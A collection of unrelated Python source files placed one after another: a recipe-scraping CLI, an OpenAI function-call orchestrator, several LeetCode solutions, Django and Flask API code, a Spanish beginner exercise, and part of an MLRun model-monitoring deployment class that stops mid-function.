#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys, os
sys.path.append(os.path.dirname(__file__))

import argparse

from CustomPrint import custom_print_init, print_info, print_debug, print_error, print_warning

from Scrapers import url2recipe_json
from RecipeOutput import recipe_output

from CustomExceptions import UrlError

__version__ = '0.3.1'
__author__ = u'Rodney Shupe'

def parse_arguments(print_usage = False, detail = False):
    """ Creates a new argument parser. """

    parser = argparse.ArgumentParser('recipe-dl')
    version = '%(prog)s v' + __version__
    parser.add_argument(
        '--version',
        action='version',
        version=version
    )
    parser.add_argument(
        '-a',
        '--authorize',
        action="store_true",
        dest="authorize_ci",
        default=False,
        help='Force authorization of Cook Illustrated sites',
    )
    parser.add_argument(
        "-d",
        "--debug",
        action="store_true",
        dest="debug",
        default=False,
        help="Add additional Output",
    )
    parser.add_argument(
        "-q",
        "--quiet",
        action="store_true",
        dest="quiet",
        default=None,
        #help="Suppress most output aka Silent Mode.",
        help=argparse.SUPPRESS
    )
    parser.add_argument(
        "-v",
        "--verbose",
        action="store_true",
        dest="verbose",
        default=False,
        help="Make output verbose",
    )
    parser.add_argument(
        "-j",
        "--output-json",
        action="store_true",
        dest="output_json",
        default=False,
        help="Output results in JSON format.",
    )
    parser.add_argument(
        "-m",
        "--output-md",
        action="store_true",
        dest="output_md",
        default=False,
        help="Output results in Markdown format.",
    )
    parser.add_argument(
        "-r",
        "--output-rst",
        action="store_true",
        dest="output_rst",
        default=False,
        help="Output results in reStructuredText format.",
    )
    parser.add_argument(
        '-i',
        '--infile',
        action="store",
        dest="infile",
        help="Specify input json file infile.",
    )
    parser.add_argument(
        '-o',
        '--outfile',
        action="store",
        dest="outfile",
        help="Specify output file outfile.",
    )
    parser.add_argument(
        "-s",
        "--save-to-file",
        action="store_true",
        dest="save_to_file",
        default=False,
        help="Save output file(s).",
    )
    parser.add_argument(
        "-f",
        "--force-recipe-scraper",
        action="store_true",
        dest="force_recipe_scraper",
        default=False,
        help="For the use of the recipe scraper where applicable.",
    )
    parser.add_argument(
        "--quick-tests",
        action="store_true",
        dest="quick_tests",
        help=argparse.SUPPRESS,
        default=False
    )

    parser.add_argument('URL', nargs='*', action="append", default=[],)

    if print_usage:
        if detail:
            parser.print_help()
        else:
            parser.print_usage()
    else:
        args = parser.parse_args()

        if args.quiet is None:
            args.quiet = not args.verbose

        if args.debug and args.quiet:
            args.quiet = False
            print_warning ("Debug option selected. Can not run in \"Silent Mode\"")

        custom_print_init (quiet=args.quiet, debug=args.debug)

        filetype_count = 0
        if args.output_json:
            filetype_count += 1
        if args.output_md:
            filetype_count += 1
        if args.output_rst:
            filetype_count += 1

        print_debug("filetype_count=%s" % filetype_count)
        if filetype_count == 0:
            args.output_rst = True
        elif filetype_count > 1:
            print_warning ("More than one output file type select. Assuming 'Save to File'")
            args.save_to_file = True

        if not args.save_to_file and not args.outfile is None and args.outfile != '':
            args.save_to_file = True

        return args

def quick_tests(args):
    """ some quick tests """

    from UtilityFunctions import url2domain
    url2domain("https://www.finecooking.com/recipe/herbed-grill-roasted-lamb")

    tests=[
        'http://www.foodandwine.com/recipes/herbed-roast-leg-of-lamb',
        'https://www.bonappetit.com/recipe/instant-pot-glazed-and-grilled-ribs',
        'https://www.saveur.com/perfect-brown-rice-recipe/',
        'https://www.thechunkychef.com/easy-slow-cooker-mongolian-beef-recipe'
    ]
    for test_url in tests:
        custom_print_init (quiet=args.quiet, debug=args.debug)

        print_info ("==========================")
        recipe_output(args, url2recipe_json(args, test_url))
        print_info ("==========================")

def main(args=None):
    if args is None:
        args = parse_arguments()

    print_debug (args)
    if args.quick_tests:
        quick_tests(args)
    else:
        if not args.URL == [[]]:
            for url in args.URL[0]:
                try:
                    recipe_json = url2recipe_json(args, url)
                except UrlError as err:
                    print_error ("Specified URL Not suported!")
                    sys.exit (os.EX_SOFTWARE)
                except Exception as err:
                    print_error (err.args[1])     # arguments stored in .args
                    sys.exit (os.EX_TEMPFAIL)
                recipe_output(args, recipe_json)
        else:
            if not args.infile is None and args.infile != "":
                print_info ("Processsing %s..." % args.infile)
                with open(args.infile) as json_file:
                    recipe_json = json.load(json_file)
                    recipe_output(args, recipe_json)
            else:
                print_error ("You must specify an input URL or input JSON file.")
                parse_arguments(print_usage=True)
                sys.exit (os.EX_USAGE)

if __name__ == '__main__':
    args = parse_arguments()
    main(args)

#quick_tests()


"""OpenAI Functions Service"""
import json

import openai

from .schema import *

async def parse_openai_function(
    response: dict,
    functions: List[Type[F]] = OpenAIFunction.Metadata.subclasses,
    **kwargs: Any,
) -> FunctionCall:
    """Parses the response from OpenAI and returns a FunctionCall object."""
    choice = response["choices"][0]["message"]
    if "function_call" in choice:
        function_call_ = choice["function_call"]
        name = function_call_["name"]
        arguments = function_call_["arguments"]
        for i in functions:
            if i.__name__ == name:
                result = await i(**json.loads(arguments))(**kwargs)
                break
        else:
            raise ValueError(f"Function {name} not found")
        return result
    return FunctionCall(name="chat", data=choice["content"])

async def function_call(
    text: str,
    model: str = "gpt-3.5-turbo-16k-0613",
    functions: List[Type[F]] = OpenAIFunction.Metadata.subclasses,
    **kwargs,
) -> FunctionCall:
    """Calls the function orchestrator."""
    messages = [
        {"role": "user", "content": text},
        {"role": "system", "content": "You are a function Orchestrator"},
    ]
    response = await openai.ChatCompletion.acreate(
        model=model,
        messages=messages,
        functions=[i.openaischema for i in functions],
    )
    return await parse_openai_function(response, functions=functions, **kwargs)


'''
Reverse bits of a given 32 bits unsigned integer.

Note:

    Note that in some languages, such as Java, there is no unsigned integer type. In this case, both input and output will be given as a signed integer type. They should not affect your implementation, as the integer's internal binary representation is the same, whether it is signed or unsigned.
    In Java, the compiler represents the signed integers using 2's complement notation. Therefore, in Example 2 above, the input represents the signed integer -3 and the output represents the signed integer -1073741825.
'''
class Solution:
    # @param n, an integer
    # @return an integer
    def reverseBits(self, n):
        output = 0
        for i in range(32):
            output |= (n & 1) << (31 - i)# copy the most right bit, shift it to the opposite side, add to out
            n >>= 1# reduce n by 1 bit (shift right)
        return output


from rest_framework import serializers
from .models import Profile, User
from articles.serializers import ArticleSerializer

class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ('id', 'first_name', 'last_name')

class ProfileSerializer(serializers.ModelSerializer):
    user = UserSerializer()

    class Meta:
        model = Profile
        fields = '__all__'

    def update(self, instance, validated_data):
        user_data = validated_data.pop('user')
        instance.user.first_name = user_data.get('first_name')
        instance.user.last_name = user_data.get('last_name')
        instance.user.save()

        instance.city = validated_data.get('city')
        instance.bday = validated_data.get('bday')
        instance.gender = validated_data.get('gender')
        instance.save()
        return instance


from typing import Dict
import logging

from flask_jwt_extended import jwt_required, get_jwt_identity
from mongoengine.errors import ValidationError

from .barbecues_blp import barbecues_blp
from .abstract_barbecue_view import AbstractBarbecuesView

from ...schemas.communs_schemas import PagingError
from ...schemas.barbecue_schemas import (
    InputUpdateBarbecueSchema,
    BarbecueResponseSchema
)

from ...models.user import User
from ...models.barbecue import Barbecue
from ...helpers.errors_msg_handler import BadRequest, ReasonError, NotFound

logger = logging.getLogger('console')

@barbecues_blp.route('/<int:barbecue_id>')
class OneBarbecueView(AbstractBarbecuesView):

    @barbecues_blp.doc(operationId='UpdateBarbecue')
    @barbecues_blp.arguments(InputUpdateBarbecueSchema)
    @barbecues_blp.response(400, schema=PagingError, description="BadRequest")
    @barbecues_blp.response(404, schema=PagingError, description="NotFound")
    @barbecues_blp.response(200, schema=BarbecueResponseSchema, description="Update one barbecue")
    @jwt_required()
    def put(self, input_dict: Dict, barbecue_id: int):
        """Update an existing barbecue"""
        auth_user = User.get_by_id(get_jwt_identity())

        if not self.can_read_the_barbecue(auth_user.scopes):
            raise NotFound(f"Barbecue #{barbecue_id} not found !")

        barbecue = self.get_barbecue(barbecue_id)
        barbecue.update(input_dict)

        try:
            barbecue.save()
        except ValidationError:
            raise BadRequest(ReasonError.UPDATE_BARBECUE_ERROR.value)

        return {
            "action": "updated",
            "barbecue": barbecue
        }

    @barbecues_blp.doc(operationId='DeleteBarbecue')
    @barbecues_blp.response(400, schema=PagingError, description="BadRequest")
    @barbecues_blp.response(404, schema=PagingError, description="NotFound")
    @barbecues_blp.response(200, schema=BarbecueResponseSchema, description="Delete one barbecue")
    @jwt_required()
    def delete(self, barbecue_id: int):
        """Delete an existing barbecue"""
        auth_user = User.get_by_id(get_jwt_identity())

        if not self.can_read_the_barbecue(auth_user.scopes):
            raise NotFound(f"Barbecue #{barbecue_id} not found !")

        barbecue = self.get_barbecue(barbecue_id)
        barbecue.delete()

        return {
            "action": "deleted",
            "barbecue": barbecue
        }


#! /usr/bin/env python
"""
Author: LiangLiang ZHENG
Date:
File Description
"""

from __future__ import print_function
import sys
import argparse
class Solution(object):
    def halvesAreAlike(self, s):
        """
        :type s: str
        :rtype: bool
        """
        vowel = ['a', 'e', 'i', 'o', 'u']
        s = s.lower()
        s1 = s[:len(s)//2]
        s2 = s[len(s)//2:]
        s1_vowel = 0

        for i in s1:
            if i in vowel:
                s1_vowel +=1
        for j in s2:
            if j in vowel:
                s1_vowel -= 1

        return s1_vowel == 0

def main():
    pass

if __name__ == "__main__":
    main()


"""Crear un diccionario de llaves de cadena países, con los siguientes elementos:
Argentina - 100, Brasil - 200, Colombia - 300, Chile - 400, Ecuador - 500, Bolivia - 600, Jamaica - 700.
• Muestre el diccionario.
• Después modifique elementos como sigue:
o Modifique la llave Brasil por 250 usando []
o Modifique la llave Chile por 450 usando []
o Modifique la llave Bolivia por 650 usando update()
o Modifique la llave Jamaica por 750 usando update()"""

import os
os.system('cls')
Paises = {
    'Argentina':'100',
    'Brasil':'200',
    'Colombia':'300',
    'Chile':'400',
    'Ecuador':'500',
    'Bolivia':'600',
    'Jamaica':'700'
}

print(f'\nEl diccionario original: \n{Paises}\n')
Paises['Brasil'] = '250'
Paises['Chile'] = '450'
Paises.update({'Bolivia':'650'})
Paises.update({'Jamaica':'750'})

print(f'\nEl diccionario nuevo: \n{Paises}\n')


# Qus:https://leetcode.com/problems/first-missing-positive/

# time complexity O(n)
# space complexity O(1)

import sys
class Solution(object):
    def firstMissingPositive(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        """
        Intution:

            number <= 0 and number > len(nums) can't be a soltuion . why?
            Hint : we need to find the first smallest <POSITIVE> number
            to mark if element present or not we will change the sign to -ve at index value - 1

            Algo:
                1. change all the -ve value and value > n to infinity (In order to avoid them from our solution space)

                2. Traverse in the array , if abs(value) is not infinity , we need to mark this element as present , so
                for that we will change the element present at index i - i with - abs(value[i-1]) {This will indicate that i+1 value is present}

                3. TO find the first missing positive number , we need to traverse in the array and find the first positive value . and our ans would be i+1

                # Special case : what if there is no missing element in the array
                # in this case the ans would be n+1

        """

        n = len(nums)

        # change the sign of negative number to +ve also we need to change the number to infinity  so that we dont consider this number as a solution
        # also change the number which is greater then n to infi

        for i in range(n):
            if(nums[i]<=0 or nums[i]>n):
                nums[i] = sys.maxsize

        # once this is done
        # we need to change the sign of number exist at pos num[i] with its -ve value

        # while treversing we need to consider the absolute value

        for i in range(n):
            absNum = abs(nums[i])
            if(absNum !=sys.maxsize):

                # we need to change the sign of number exist at index absNum -1
                # which mean that the number absNum exist

                nums[absNum-1] = -abs(nums[absNum-1])

        # traverse in the arrray and find the index which is non -ve
        # ans will be index + 1

        for i in range(n):
            if(nums[i]>0):
                return i+1

        # Special case : what if there is no missing element in the array
        # in this case the ans would be n+1

        return n+1

leetcoding qus/First Missing Positive.py


import os

class Config:
    def __init__(self):
        self.costoTinta: float = 0.0
        self.costoPapel: float = 0.0
        self.servicioTecnico: float = 0.0
        self.ganancia: float = 0.0
        self.costo_final_full: float = 0.0
        self.precio_final_full: float = 0.0

    def set_valores_iniciales(self):
        config = get_config()
        self.costoTinta = float(config[0])
        self.costoPapel = float(config[1])
        self.servicioTecnico = float(config[2])
        self.ganancia = float(config[3])
        self.costo_final_full = ((self.costoTinta * 4) + (self.costoPapel * 2) + self.servicioTecnico) / 1000
        self.precio_final_full = self.costo_final_full * self.ganancia

def set_valores_reset():
    valor_inicial= '1;1;1;1'
    guardar_config(valor_inicial)

def guardar_config(datos):
    fichero = open(
        os.path.dirname(__file__).replace("Modelo", "Historial") + "/config.txt",
        'w')
    fichero.write(datos)
    fichero.close()

def get_config():
    f = open(
        os.path.dirname(__file__).replace("Modelo", "Historial") + "/config.txt",
        'r')
    text = f.read()
    f.close()
    config = text.split(';')
    return config


import pathlib
import typing

import sqlalchemy.orm
from fastapi import Depends

import mlrun.common.schemas.model_monitoring
import mlrun.common.schemas.model_monitoring.constants as mm_constants
import mlrun.model_monitoring.stream_processing
import mlrun.model_monitoring.tracking_policy
import server.api.api.endpoints.functions
import server.api.api.utils
import server.api.crud.model_monitoring.helpers
import server.api.utils.scheduler
import server.api.utils.singletons.k8s
from mlrun import feature_store as fstore
from mlrun.model_monitoring.writer import ModelMonitoringWriter
from mlrun.utils import logger
from server.api.api import deps
from server.api.crud.model_monitoring.helpers import Seconds, seconds2minutes

_MODEL_MONITORING_COMMON_PATH = (
    pathlib.Path(__file__).parents[4] / "mlrun" / "model_monitoring"
)
_STREAM_PROCESSING_FUNCTION_PATH = (
    _MODEL_MONITORING_COMMON_PATH / "stream_processing.py"
)
_MONITORING_ORIGINAL_BATCH_FUNCTION_PATH = _MODEL_MONITORING_COMMON_PATH / "batch.py"

_MONITORING_APPLICATION_CONTROLLER_FUNCTION_PATH = (
    _MODEL_MONITORING_COMMON_PATH / "controller_handler.py"
)

_MONITORING_WRITER_FUNCTION_PATH = _MODEL_MONITORING_COMMON_PATH / "writer.py"

class MonitoringDeployment:
    def __init__(
        self,
        parquet_batching_max_events: int = mlrun.mlconf.model_endpoint_monitoring.parquet_batching_max_events,
        max_parquet_save_interval: int = mlrun.mlconf.model_endpoint_monitoring.parquet_batching_timeout_secs,
    ) -> None:
        self._parquet_batching_max_events = parquet_batching_max_events
        self._max_parquet_save_interval = max_parquet_save_interval
        """
        Initialize a MonitoringDeployment object, which handles the deployment & scheduling of:
         1. model monitoring stream
         2. model monitoring batch
         3. model monitoring batch application
         4. model monitoring writer

        :param parquet_batching_max_events: Maximum number of events that will be used for writing the monitoring
                                            parquet by the monitoring stream function.
        :param max_parquet_save_interval:   Maximum number of seconds to hold events before they are written to the
                                            monitoring parquet target. Note that this value will be used to handle the
                                            offset by the scheduled batch job.
        """

    def deploy_monitoring_functions(
        self,
        project: str,
        model_monitoring_access_key: str,
        db_session: sqlalchemy.orm.Session,
        auth_info: mlrun.common.schemas.AuthInfo,
        tracking_policy: mlrun.model_monitoring.tracking_policy.TrackingPolicy,
    ):
        """
        Invoking monitoring deploying functions.

        :param project:                     The name of the project.
        :param model_monitoring_access_key: Access key to apply the model monitoring process.
        :param db_session:                  A session that manages the current dialog with the database.
        :param auth_info:                   The auth info of the request.
        :param tracking_policy:             Model monitoring configurations.
        """
        self.deploy_model_monitoring_stream_processing(
            project=project,
            model_monitoring_access_key=model_monitoring_access_key,
            db_session=db_session,
            auth_info=auth_info,
            tracking_policy=tracking_policy,
        )
        self.deploy_model_monitoring_batch_processing(
            project=project,
            model_monitoring_access_key=model_monitoring_access_key,
            db_session=db_session,
            auth_info=auth_info,
            tracking_policy=tracking_policy,
            tracking_offset=Seconds(self._max_parquet_save_interval),
            function_name=mm_constants.MonitoringFunctionNames.BATCH,
        )

    def deploy_model_monitoring_stream_processing(
        self,
        project: str,
        model_monitoring_access_key: str,
        db_session: sqlalchemy.orm.Session,
        auth_info: mlrun.common.schemas.AuthInfo,
        tracking_policy: mlrun.model_monitoring.tracking_policy.TrackingPolicy,
    ) -> None:
        """
        Deploying model monitoring stream real time nuclio function. The goal of this real time function is
        to monitor the log of the data stream. It is triggered when a new log entry is detected.
        It processes the new events into statistics that are then written to statistics databases.

        :param project:                     The name of the project.
        :param model_monitoring_access_key: Access key to apply the model monitoring process.
        :param db_session:                  A session that manages the current dialog with the database.
        :param auth_info:                   The auth info of the request.
        :param tracking_policy:             Model monitoring configurations.
        """

        logger.info(
            "Checking if model monitoring stream is already deployed",
            project=project,
        )
        try:
            # validate that the model monitoring stream has not yet been deployed
            mlrun.runtimes.function.get_nuclio_deploy_status(
                name="model-monitoring-stream",
                project=project,
                tag="",
                auth_info=auth_info,
            )
            logger.info(
                "Detected model monitoring stream processing function already deployed",
                project=project,
            )
            return
        except mlrun.errors.MLRunNotFoundError:
            logger.info(
                "Deploying model monitoring stream processing function", project=project
            )

        # Get parquet target value for model monitoring stream function
        parquet_target = (
            server.api.crud.model_monitoring.helpers.get_monitoring_parquet_path(
                db_session=db_session, project=project
            )
        )

        fn = self._initial_model_monitoring_stream_processing_function(
            project=project,
            model_monitoring_access_key=model_monitoring_access_key,
            tracking_policy=tracking_policy,
            auth_info=auth_info,
            parquet_target=parquet_target,
        )

        # Adding label to the function - will be used to identify the stream pod
        fn.metadata.labels = {"type": "model-monitoring-stream"}

        server.api.api.endpoints.functions._build_function(
            db_session=db_session,
            auth_info=auth_info,
            function=fn,
        )

    def deploy_model_monitoring_controller(
        self,
        project: str,
        model_monitoring_access_key: str,
        db_session: sqlalchemy.orm.Session,
        auth_info: mlrun.common.schemas.AuthInfo,
        tracking_policy: mlrun.model_monitoring.tracking_policy.TrackingPolicy,
    ) -> typing.Union[mlrun.runtimes.kubejob.KubejobRuntime, None]:
        """
        Submit model monitoring application controller job along with deploying the model monitoring writer function.
        While the main goal of the controller job is to handle the monitoring processing and triggering applications,
        the goal of the model monitoring writer function is to write all the monitoring application results to the
        databases. Note that the default scheduling policy of the controller job is to run every 5 min.

        :param project:                     The name of the project.
        :param model_monitoring_access_key: Access key to apply the model monitoring process.
        :param db_session:                  A session that manages the current dialog with the database.
        :param auth_info:                   The auth info of the request.
        :param tracking_policy:             Model monitoring configurations, including the required controller
                                            configurations such as the base period (5 minutes by default) and
                                            the default controller image (`mlrun/mlrun` by default).

        :return: Model monitoring controller job as a runtime function.
        """

        self.deploy_model_monitoring_writer_application(
            project=project,
            model_monitoring_access_key=model_monitoring_access_key,
            db_session=db_session,
            auth_info=auth_info,
            tracking_policy=tracking_policy,
        )

        return self.deploy_model_monitoring_batch_processing(
            project=project,
            model_monitoring_access_key=model_monitoring_access_key,
            db_session=db_session,
            auth_info=auth_info,
            tracking_policy=tracking_policy,
            function_name=mm_constants.MonitoringFunctionNames.APPLICATION_CONTROLLER,
        )

    def deploy_model_monitoring_batch_processing(
        self,
        project: str,
        model_monitoring_access_key: str,
        db_session: sqlalchemy.orm.Session,
        auth_info: mlrun.common.schemas.AuthInfo,
        tracking_policy: mlrun.model_monitoring.tracking_policy.TrackingPolicy,
        with_schedule: bool = True,
        overwrite: bool = False,
        tracking_offset: Seconds = Seconds(0),
        function_name: str = mm_constants.MonitoringFunctionNames.BATCH,
    ) -> typing.Union[mlrun.runtimes.kubejob.KubejobRuntime, None]:
        """
        Deploying model monitoring batch job.
        The goal of this job is to identify drift in the data based on the latest batch of events. By default,
        this job is executed on the hour every hour.
        Note that if this job was already deployed then you will either have to pass overwrite=True or
        to delete the old job before deploying a new one.

        :param project:                     The name of the project.
        :param model_monitoring_access_key: Access key to apply the model monitoring process.
        :param db_session:                  A session that manages the current dialog with the database.
        :param auth_info:                   The auth info of the request.
        :param tracking_policy:             Model monitoring configurations.
        :param with_schedule:               If true, submit a scheduled batch drift job.
        :param overwrite:                   If true, overwrite the existing model monitoring batch job.
        :param tracking_offset:             Offset for the tracking policy (for synchronization with the stream)
        :param function_name:               model-monitoring-batch or model-monitoring-controller
                                            indicates witch one to deploy.

        :return: Model monitoring batch job as a runtime function.
        """
        job_valid_names = [
            mm_constants.MonitoringFunctionNames.BATCH,
            mm_constants.MonitoringFunctionNames.APPLICATION_CONTROLLER,
        ]
        if function_name not in job_valid_names:
            raise mlrun.errors.MLRunRuntimeError(
                f"Model Monitoring batch job can be only within {job_valid_names}"
            )
        fn = None
        if not overwrite:
            logger.info(
                f"Checking if {function_name.replace('-',' ')} processing function is already deployed",
                project=project,
            )

            # Try to list functions that named model monitoring batch
            # to make sure that this job has not yet been deployed
            try:
                fn = server.api.crud.Functions().get_function(
                    db_session=db_session,
                    name=function_name,
                    project=project,
                )
                logger.info(
                    f"Detected {function_name.replace('-',' ')} processing function already deployed",
                    project=project,
                )

            except mlrun.errors.MLRunNotFoundError:
                logger.info(
                    f"Deploying {function_name.replace('-',' ')} processing function ",
                    project=project,
                )

        if not fn:
            # Create a monitoring batch job function object
            fn = self._get_model_monitoring_batch_function(
                project=project,
                model_monitoring_access_key=model_monitoring_access_key,
                db_session=db_session,
                auth_info=auth_info,
                image=tracking_policy.default_batch_image
                if function_name == mm_constants.MonitoringFunctionNames.BATCH
                else tracking_policy.default_controller_image,
                function_name=function_name,
            )

            # Get the function uri
            function_uri = fn.save(versioned=True)

            if with_schedule:
                if not overwrite:
                    try:
                        server.api.utils.scheduler.Scheduler().get_schedule(
                            db_session=db_session,
                            project=project,
                            name=function_name,
                        )
                        logger.info(
                            f"Already deployed {function_name.replace('-',' ')} scheduled job function ",
                            project=project,
                        )
                        return
                    except mlrun.errors.MLRunNotFoundError:
                        logger.info(
                            f"Deploying {function_name.replace('-',' ')} scheduled job function ",
                            project=project,
                        )
                # Submit batch scheduled job
                self._submit_schedule_batch_job(
                    project=project,
                    function_uri=function_uri,
                    db_session=db_session,
                    auth_info=auth_info,
                    tracking_policy=tracking_policy,
                    tracking_offset=tracking_offset,
                    function_name=function_name,
                )
        return fn

    def deploy_model_monitoring_writer_application(
        self,
        project,
        model_monitoring_access_key,
        db_session,
        auth_info,
        tracking_policy,
    ):
        """
        Deploying model monitoring writer real time nuclio function. The goal of this real time function is
        to write all the monitoring application result to the databases. It is triggered by those applications.
        It processes and writes the result to the databases.

        :param project:                     The name of the project.
        :param model_monitoring_access_key: Access key to apply the model monitoring process.
        :param db_session:                  A session that manages the current dialog with the database.
        :param auth_info:                   The auth info of the request.
        :param tracking_policy:             Model monitoring configurations.
        """

        logger.info(
            "Checking if model monitoring writer is already deployed",
            project=project,
        )
        try:
            # validate that the model monitoring stream has not yet been deployed
            mlrun.runtimes.function.get_nuclio_deploy_status(
                name=mm_constants.MonitoringFunctionNames.WRITER,
                project=project,
                tag="",
                auth_info=auth_info,
            )
            logger.info(
                "Detected model monitoring writer processing function already deployed",
                project=project,
            )
            return
        except mlrun.errors.MLRunNotFoundError:
            logger.info(
                "Deploying model monitoring writer processing function", project=project
            )

        fn = self._initial_model_monitoring_writer_function(
            project=project,
            model_monitoring_access_key=model_monitoring_access_key,
            tracking_policy=tracking_policy,
            auth_info=auth_info,
        )

        # Adding label to the function - will be used to identify the stream pod
        fn.metadata.labels = {"type": "model-monitoring-writer"}

        server.api.api.endpoints.functions._build_function(
            db_session=db_session,
            auth_info=auth_info,
            function=fn,
        )

    def _initial_model_monitoring_stream_processing_function(
        self,
        project: str,
        model_monitoring_access_key: str,
        tracking_policy: mlrun.model_monitoring.tracking_policy.TrackingPolicy,
        auth_info: mlrun.common.schemas.AuthInfo,
        parquet_target: str,
    ):
        """
        Initialize model monitoring stream processing function.

        :param project:                     Project name.
        :param model_monitoring_access_key: Access key to apply the model monitoring process. Please note that in CE
                                            deployments this parameter will be None.
        :param tracking_policy:             Model monitoring configurations.
        :param auth_info:                   The auth info of the request.
        :param parquet_target:              Path to model monitoring parquet file that will be generated by the
                                            monitoring stream nuclio function.

        :return:                            A function object from a mlrun runtime class

        """

        # Initialize Stream Processor object
        stream_processor = (
            mlrun.model_monitoring.stream_processing.EventStreamProcessor(
                project=project,
                parquet_batching_max_events=self._parquet_batching_max_events,
                parquet_batching_timeout_secs=self._max_parquet_save_interval,
                parquet_target=parquet_target,
                model_monitoring_access_key=model_monitoring_access_key,
            )
        )

        # Create a new serving function for the streaming process
        function = mlrun.code_to_function(
            name="model-monitoring-stream",
            project=project,
            filename=str(_STREAM_PROCESSING_FUNCTION_PATH),
            kind="serving",
            image=tracking_policy.stream_image,
        )

        # Create monitoring serving graph
        stream_processor.apply_monitoring_serving_graph(function)

        # Set the project to the serving function
        function.metadata.project = project

        # Add stream triggers
        function = self._apply_stream_trigger(
            project=project,
            function=function,
            model_monitoring_access_key=model_monitoring_access_key,
            auth_info=auth_info,
        )

        # Apply feature store run configurations on the serving function
        run_config = fstore.RunConfig(function=function, local=False)
        function.spec.parameters = run_config.parameters

        return function

    def _get_model_monitoring_batch_function(
        self,
        project: str,
        model_monitoring_access_key: str,
        db_session: sqlalchemy.orm.Session,
        auth_info: mlrun.common.schemas.AuthInfo,
        image: str,
        function_name: str = "model-monitoring-batch",
    ):
        """
        Initialize model monitoring batch function.

        :param project:                     project name.
        :param model_monitoring_access_key: access key to apply the model monitoring process. Please note that in CE
                                            deployments this parameter will be None.
        :param db_session:                  A session that manages the current dialog with the database.
        :param auth_info:                   The auth info of the request.
        :param image:                       Base docker image to use for building the function container
        :param function_name:               model-monitoring-batch or model-monitoring-controller
                                            indicates witch one to create.
        :return:                            A function object from a mlrun runtime class

        """
        filename = (
            str(_MONITORING_ORIGINAL_BATCH_FUNCTION_PATH)
            if function_name == "model-monitoring-batch"
            else str(_MONITORING_APPLICATION_CONTROLLER_FUNCTION_PATH)
        )
        # Create job function runtime for the model monitoring batch
        function: mlrun.runtimes.KubejobRuntime = mlrun.code_to_function(
            name=function_name,
            project=project,
            filename=filename,
            kind="job",
            image=image,
            handler="handler",
        )
        function.set_db_connection(server.api.api.utils.get_run_db_instance(db_session))

        # Set the project to the job function
        function.metadata.project = project

        if not mlrun.mlconf.is_ce_mode():
            function = self._apply_access_key_and_mount_function(
                project=project,
                function=function,
                model_monitoring_access_key=model_monitoring_access_key,
                auth_info=auth_info,
                function_name=function_name,
            )

        # Enrich runtime with the required configurations
        server.api.api.utils.apply_enrichment_and_validation_on_function(
            function, auth_info
        )

        return function

    @classmethod
    def _submit_schedule_batch_job(
        cls,
        project: str,
        function_uri: str,
        db_session: sqlalchemy.orm.Session,
        auth_info: mlrun.common.schemas.AuthInfo,
        tracking_policy: mlrun.model_monitoring.tracking_policy.TrackingPolicy,
        tracking_offset: Seconds = Seconds(0),
        function_name: str = "model-monitoring-batch",
    ):
        """
        Create a new scheduled monitoring batch job analysis based on the model-monitoring-batch function that has
        been already registered.

        :param project:         Project name.
        :param function_uri:    Function URI of the registered model monitoring batch job. This URI includes the
                                related project name, function name, and hash key.
        :param db_session:      A session that manages the current dialog with the database.
        :param auth_info:       The auth info of the request.
        :param tracking_policy: Model monitoring configurations.
        :param tracking_offset: Offset for the tracking policy (for synchronization with the stream).

        """

        function_uri = function_uri.replace("db://", "")

        task = mlrun.new_task(name=function_name, project=project)
        task.spec.function = function_uri

        schedule, batch_dict = cls._generate_schedule_and_interval_dict(
            function_name=function_name,
            tracking_policy=tracking_policy,
            tracking_offset=tracking_offset,
        )

        task.spec.parameters[
            mlrun.common.schemas.model_monitoring.EventFieldType.BATCH_INTERVALS_DICT
        ] = batch_dict

        data = {
            "task": task.to_dict(),
            "schedule": schedule,
        }

        logger.info(
            f"Deploying {function_name.replace('-',' ')} processing function",
            project=project,
        )

        # Add job schedule policy (every hour by default)
        server.api.api.utils.submit_run_sync(
            db_session=db_session, auth_info=auth_info, data=data
        )

    @classmethod
    def _generate_schedule_and_interval_dict(
        cls,
        function_name: str,
        tracking_policy: mlrun.model_monitoring.tracking_policy.TrackingPolicy,
        tracking_offset: Seconds,
    ) -> typing.Tuple[str, typing.Dict[str, int]]:
        """Generate schedule cron string along with the batch interval dictionary according to the providing
        function name. As for the model monitoring controller function, the dictionary batch interval is
        corresponding to the scheduling policy.

        :param tracking_policy: Model monitoring configurations.
        :param tracking_offset: Offset for the tracking policy (for synchronization with the stream).

        :return: A tuple of:
         [0] = Schedule cron string
         [1] = Dictionary of the batch interval.
        """

        if function_name == mm_constants.MonitoringFunctionNames.BATCH:
            # Apply batching interval params
            interval_list = [
                tracking_policy.default_batch_intervals.minute,
                tracking_policy.default_batch_intervals.hour,
                tracking_policy.default_batch_intervals.day,
            ]
            (
                minutes,
                hours,
                days,
            ) = server.api.crud.model_monitoring.helpers.get_batching_interval_param(
                interval_list
            )
            schedule = server.api.crud.model_monitoring.helpers.convert_to_cron_string(
                tracking_policy.default_batch_intervals,
                minute_delay=seconds2minutes(tracking_offset),
            )
        else:
            # Apply monitoring controller params
            minutes = tracking_policy.base_period
            hours = days = 0
            schedule = f"*/{tracking_policy.base_period} * * * *"
        batch_dict = {
            mm_constants.EventFieldType.MINUTES: minutes,
            mm_constants.EventFieldType.HOURS: hours,
            mm_constants.EventFieldType.DAYS: days,
        }
        return schedule, batch_dict

    def _apply_stream_trigger(
        self,
        project: str,
        function: mlrun.runtimes.ServingRuntime,
        model_monitoring_access_key: str = None,
        auth_info: mlrun.common.schemas.AuthInfo = Depends(deps.authenticate_request),
        function_name: str = None,
    ) -> mlrun.runtimes.ServingRuntime:
        """Adding stream source for the nuclio serving function. By default, the function has HTTP stream trigger along
        with another supported stream source that can be either Kafka or V3IO, depends on the stream path schema that is
        defined under mlrun.mlconf.model_endpoint_monitoring.store_prefixes. Note that if no valid stream path has been
        provided then the function will have a single HTTP stream source.

        :param project:                     Project name.
        :param function:                    The serving function object that will be applied with the stream trigger.
        :param model_monitoring_access_key: Access key to apply the model monitoring stream function when the stream is
                                            schema is V3IO.
        :param auth_info:                   The auth info of the request.
        :param function_name:             the name of the function that be applied with the stream trigger,
                                            None for model_monitoring_stream

        :return: ServingRuntime object with stream trigger.
        """

        # Get the stream path from the configuration
        # stream_path = mlrun.mlconf.get_file_target_path(project=project, kind="stream", target="stream")
        stream_path = server.api.crud.model_monitoring.get_stream_path(
            project=project, application_name=function_name
        )

        if stream_path.startswith("kafka://"):
